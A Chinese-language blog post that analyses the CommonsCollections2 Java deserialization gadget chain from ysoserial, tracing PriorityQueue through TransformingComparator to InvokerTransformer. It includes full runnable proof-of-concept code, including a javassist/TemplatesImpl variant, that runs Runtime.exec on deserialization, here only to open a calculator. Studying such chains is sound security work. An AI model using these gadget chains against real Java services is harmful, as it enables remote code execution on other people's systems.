CommonsCollections2 反序列化利用链分析
在 ysoserial中 commons-collections2 是用的 PriorityQueue reaObject 作为反序列化的入口
那么就来看一下
java.util.PriorityQueue.java
的readObject
方法
PriorityQueue#readObject
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
heapify()
这里进行排序
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
//调用了 siftDown 方法
siftDown(i, (E) queue[i]);
}
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
private void siftDownComparable(int k, E x) {
Comparable<? super E> key = (Comparable<? super E>)x;
int half = size >>> 1; // loop while a non-leaf
while (k < half) {
int child = (k << 1) + 1; // assume left child is least
Object c = queue[child];
int right = child + 1;
if (right < size &&
((Comparable<? super E>) c).compareTo((E) queue[right]) > 0)
c = queue[child = right];
if (key.compareTo((E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = key;
}
//comparator 不为空 进入到 siftDownUsingComparator
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
这里我们重点看下 siftDownUsingComparator 中的comparator.compare((E) c, (E) queue[right])
这里调用了 compare
,ctrl+右键 点进去
发现commons-collections4-4.0-sources.jar!/org/apache/commons/collections4/comparators/TransformingComparator.java
实现了此方法。
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
来到了 熟悉的 transformer.transform,那么如果这里 this.transformer 为 InvokerTransformer 对象即可来到
InvokerTransformer#transform
方法进行反射调用,与cc1类似。
public O transform(final Object input) {
if (input == null) {
return null;
}
try {
final Class<?> cls = input.getClass();
final Method method = cls.getMethod(iMethodName, iParamTypes);
return (O) method.invoke(input, iArgs);
} catch (final NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +
input.getClass() + "' does not exist");
} catch (final IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +
input.getClass() + "' cannot be accessed");
} catch (final InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +
input.getClass() + "' threw an exception", ex);
}
}
思路
通过上面我们可以得出调用顺序
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transformat()
想要一步步按照上面顺序执行,需要满足几个条件
-
(size >>> 1) - 1 >=0 // 即 size>= 2
-
comparator != null // 这里 comparator 可控,可由PriorityQueue 的构造方法传入
生成序列化对象
通过上面的初步分析可以得出下面代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class,Object[].class },
new Object[] {null, null }
),
new InvokerTransformer(
"exec",
new Class[] {String.class },
new Object[] { "calc.exe" }
)
};
ChainedTransformer template = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(template);
PriorityQueue queue = new PriorityQueue(2, transformingComparator);
queue.add(1);
queue.add(2);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
运行此代码发现虽然成功弹出计算器但是没有生成序列化对象
定位到代码为 queue.add(2);
处。
这里调用了
public boolean add(E e) {
return offer(e);
}
/**
* Inserts the specified element into this priority queue.
*
* @return {@code true} (as specified by {@link Queue#offer})
* @throws ClassCastException if the specified element cannot be
* compared with elements currently in this priority queue
* according to the priority queue's ordering
* @throws NullPointerException if the specified element is null
*/
public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
siftUp(i, e);
return true;
}
private void siftUp(int k, E x) {
if (comparator != null)
siftUpUsingComparator(k, x);
else
siftUpComparable(k, x);
}
private void siftUpComparable(int k, E x) {
Comparable<? super E> key = (Comparable<? super E>) x;
while (k > 0) {
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (key.compareTo((E) e) >= 0)
break;
queue[k] = e;
k = parent;
}
queue[k] = key;
}
private void siftUpUsingComparator(int k, E x) {
while (k > 0) {
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (comparator.compare(x, (E) e) >= 0)
break;
queue[k] = e;
k = parent;
}
queue[k] = x;
}
当add 第二个元素时,会 进入siftUp(i, e);
siftUpUsingComparator(k, x);
然后执行 comparator.compare(x, (E) e)
进入我们的反射链
然后当进入到 TransformingComparator#compare
的 this.decorated.compare(value1, value2)
时
由于 ProcessImpl 没有实现Comparable而报错,程序终止,就没有执行后面生成序列化数据的代码。
继续回过头来看
private void siftUp(int k, E x) {
if (comparator != null)
siftUpUsingComparator(k, x);
else
siftUpComparable(k, x);
}
既然
siftUpUsingComparator 程序会报错。那么是否可以让他进入到 siftUpComparable,那么就需要让 comparator 为null
PriorityQueue queue = new PriorityQueue(2);
程序运行没有出错了,但是没有弹出计算器。
如何让add 不出错,同时又弹出计算器呢? 这里想到了反射,在add 2个元素结束之后,将 queue对象中的 comparator
设置成 transformingComparator
,这里就需要用到反射了。
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(2);
Field comparator = queue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(queue,transformingComparator);
最后得出 POC
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class,Object[].class },
new Object[] {null, null }
),
new InvokerTransformer(
"exec",
new Class[] {String.class },
new Object[] { "calc.exe" }
)
};
ChainedTransformer template = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(template);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(2);
Field comparator = queue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(queue,transformingComparator);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
也可换种写法,例如
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC2_Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class,Object[].class },
new Object[] {null, null }
),
new InvokerTransformer(
"exec",
new Class[] {String.class },
new Object[] { "calc.exe" }
)
};
ChainedTransformer template = new ChainedTransformer(transformers);
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
TransformingComparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
Field iParamTypes = transformer.getClass().getDeclaredField("iParamTypes");
Field iArgs = transformer.getClass().getDeclaredField("iArgs");
iMethodName.setAccessible(true);
iParamTypes.setAccessible(true);
iArgs.setAccessible(true);
iMethodName.set(transformer,"transform");
iParamTypes.set(transformer,new Class[]{Object.class});
iArgs.set(transformer,new Object[]{null});
Field queue1 = queue.getClass().getDeclaredField("queue");
queue1.setAccessible(true);
queue1.set(queue,new Object[]{template,2});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
在 ysoserial框架中,commons-collections2 引入了 TemplatesImpl 类来进行承载攻击payload
在TemplatesImpl
存在一个 成员变量 _bytecodes
,当调用 TemplatesImpl#newTransformer
方法时,将会把
_bytecodes
实例化, 所以我们可以将恶意代码写到类的无参构造函数或static代码块中转换为字节码赋值给_bytecodes
,然后找到一个位置调用newTransformer就能完成整个攻击。
这里需要用到 Javassist ,javassist是Java的一个库,可以修改字节码。
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>
通过javassist 构建如下代码
package deserialized;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Transformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC2_Templates {
public static void main(String[] args) throws Exception{
template().newTransformer();
}
public static TemplatesImpl template() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Test");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
Field name = templates.getClass().getDeclaredField("_name");
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
bytecodes.setAccessible(true);
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.set(templates,targetByteCodes);
name.set(templates,"aaa");
tfactory.set(templates,new TransformerFactoryImpl());
return templates;
}
}
根据上面一节的分析,我们只需要将 ChainedTransformer template = new ChainedTransformer(transformers);
改为用javassist生成的对象,然后把iMethodName
设置为newTransformer
就可完成整个攻击链。
package deserialized;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Transformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC2_Templates {
public static void main(String[] args) throws Exception{
TemplatesImpl template = template();
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
TransformingComparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");
Field queue1 = queue.getClass().getDeclaredField("queue");
queue1.setAccessible(true);
queue1.set(queue,new Object[]{template,2});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
public static TemplatesImpl template() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Test");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
Field name = templates.getClass().getDeclaredField("_name");
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
bytecodes.setAccessible(true);
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.set(templates,targetByteCodes);
name.set(templates,"aaa");
tfactory.set(templates,new TransformerFactoryImpl());
return templates;
}
}
关于 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 里面是如何执行到我们自定义的 _bytecodes
的具体流程可以参考:https://y4er.com/post/ysoserial-commonscollections-2/